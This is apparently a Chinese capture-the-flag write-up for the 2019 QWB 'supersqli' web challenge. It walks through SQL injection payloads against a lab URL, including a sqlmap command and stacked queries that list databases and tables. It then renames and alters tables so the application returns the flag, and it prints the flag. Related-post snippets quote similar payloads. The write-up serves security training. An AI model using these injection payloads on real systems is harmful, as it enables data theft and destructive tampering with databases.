攻防世界/强网杯 2019-supersqli
靶场地址:https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=5417&page=1
参考链接
https://zhuanlan.zhihu.com/p/78989602
https://www.jianshu.com/p/e896bd3f5097
本以为简单的目录遍历就可以得到falg实际上是想多了,不过也确认这里是存在注入
http://220.249.52.133:38618/?inject=1' or '1'='1#

在试一下sqlmap
python2 sqlmap.py -u "http://220.249.52.133:38618/?inject=1" -v 3 --risk 3 -D supersqli --tables -test-skip=where
失败

order by一下
http://220.249.52.133:38618/?inject=1'order by 2--+
得出有两个参数

union联合查询一下
失败 (同时也发现了为什么sqlmap跑不出来了)select|update|drop|insert|where 等等被禁用了

借用上两篇教程了解到堆叠注入
暴库
http://220.249.52.133:38618/?inject=1';show databases;#

爆表
http://220.249.52.133:38618/?inject=1';show tables;#

查看字段
http://220.249.52.133:38618/?inject=1';show columns from `1919810931114514`;#
由于select有限制但是没有过滤 alert 和 rename,那么我们可以把表改个名字,再给列改个名字。
先把 words 改名为 words1,再把这个数字表改名为 words,然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)。
这样就可以让程序直接查询出 flag 了。
构造 payload 如下,然后访问,看到这个看来就执行到最后一个语句了。(改表名那里直接从 pma 拷了一个语句过来改- -)
/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;# /?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#collate
查看一下
/?inject=1' or '1'='1

flag{c168d583ed0d4d7196967b28cbd0b5e9}
新手上路,多多指教
攻防世界/强网杯 2019-supersqli的更多相关文章
- buuctf | [强网杯 2019]随便注
1' and '0,1' and '1 : 单引号闭合 1' order by 3--+ : 猜字段 1' union select 1,database()# :开始注入,发现正则过滤 1' an ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- 攻防世界(六)supersqli
攻防世界系列:supersqli 方法一: 用逗号包裹回显正常,说明存在注入 1';--+(注释符也可用 -- 或 # 发现均未被过滤!) 有order by 语句可知表由2个字段,使用联合查询 (想 ...
- WriteUp_easy_sql_堆叠注入_强网杯2019
题目描述 随便注 解题过程 查看源码,发现应该不适合sqlmap自动化注入,该题应该是让你手工注入: <!-- sqlmap是没有灵魂的 --> <form method=" ...
- [BUUOJ记录] [强网杯 2019]随便注(三种方法)
本题主要考察堆叠注入,算是比较经典的一道题,在i春秋GYCTF中也出现了本题的升级版 猜测这里的MySQL语句结构应该是: select * from words where id='$inject' ...
- [强网杯 2019]Upload
0x00 知识点 代码审计,PHP 反序列化. 0x01 解题 先注册一个账号,再登陆 上传 简单测试一下: 只能上传能被正常查看的 png. F12看到文件上传路径 扫扫敏感文件 存在:/www.t ...
- [原题复现]强网杯 2019 WEB高明的黑客
简介 原题复现: 考察知识点:python代码编写能力... 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 简 ...
- 强网杯 2019]随便注(堆叠注入,Prepare、execute、deallocate)
然后就是今天学的新东西了,堆叠注入. 1';show databases; # 1';show tables; # 发现两个表1919810931114514.words 依次查询两张表的字段 1'; ...
- BUUCTF[强网杯 2019]随便注(堆叠注入)
记一道堆叠注入的题.也是刷BUU的第一道题. ?inject=1' 报错 ?inject=1'--+ //正常 存在注入的.正常查询字段数,字段数为2.在联合查询的时候给了新提示 ?inject=0' ...
随机推荐
- Autoware 标定工具 Calibration Tool Kit 联合标定 Robosense-16 和 ZED 相机!
一.安装 Autoware & ZED 内参标定 & 外参标定准备 之前的这篇文章:Autoware 进行 Robosense-16 线雷达与 ZED 双目相机联合标定! 记录了我用 ...
- Embed Tomcat Java(内嵌tomcat启动简述)
简单记录一下内部tomcat启动 maven pom.xml <dependencies> <!-- embed tomcat dependency --> <depen ...
- Shell总结01-shell解释器
常见Shell解释器种类 就像不同地区有不同方言一样,不同的Linux/Unix系统使用着不同类型的shell,其中sh是UNIX上的最基本的shell,遵循POSIX接口规范 操作系统 默认shel ...
- IDEA优化内存配置,可提高启动和运行速度
找到IDEA安装的bin目录 打开idea.exe.vmoptions 文件 关键的三个参数的说明 1. -Xms 是最小启动内存参数 2. -Xmx 是最大运行内存参数 3.-XX:Reserved ...
- JSONobject按照put顺序存储和读取
new的时候加true即可: JSONObject jsonObject = new JSONObject(true);
- 9.实战交付一套dubbo微服务到k8s集群(2)之Jenkins部署
1.下载Jenkins镜像打包上传harbor上 [root@hdss7- ~]# docker pull jenkins/jenkins:2.190. [root@hdss7- ~]# docker ...
- java map里面进行ASCII 码从小到大排序(字典序)
public static String getAsciiSort(Map<String, Object> map) { List<Entry<String, Object&g ...
- 图解leetcode5-10 | 和233酱一起刷leetcode系列(2)
本周我们继续来看5道磨人的小妖精,图解leetcode6-10- 多说一句,leetcode10 杀死了233酱不少脑细胞... 另: 沉迷算法,无法自拔.快来加入我们吧! 别忘了233酱的一条龙服务 ...
- android handle详解2 主线程给子线程发送消息
按照android handler详解分析的原理我们可以知道,在主线程中创建handle对象的时候,主线程默认创建了一个loop对象使用threalocal函数将loop对象和主线程绑定. 我们能不能 ...
- Java面试必备Springioc上
配置文件中 Proprety name值必须和 类中的成员变量private IUsedao userDao一一对应 工程项目的代码为: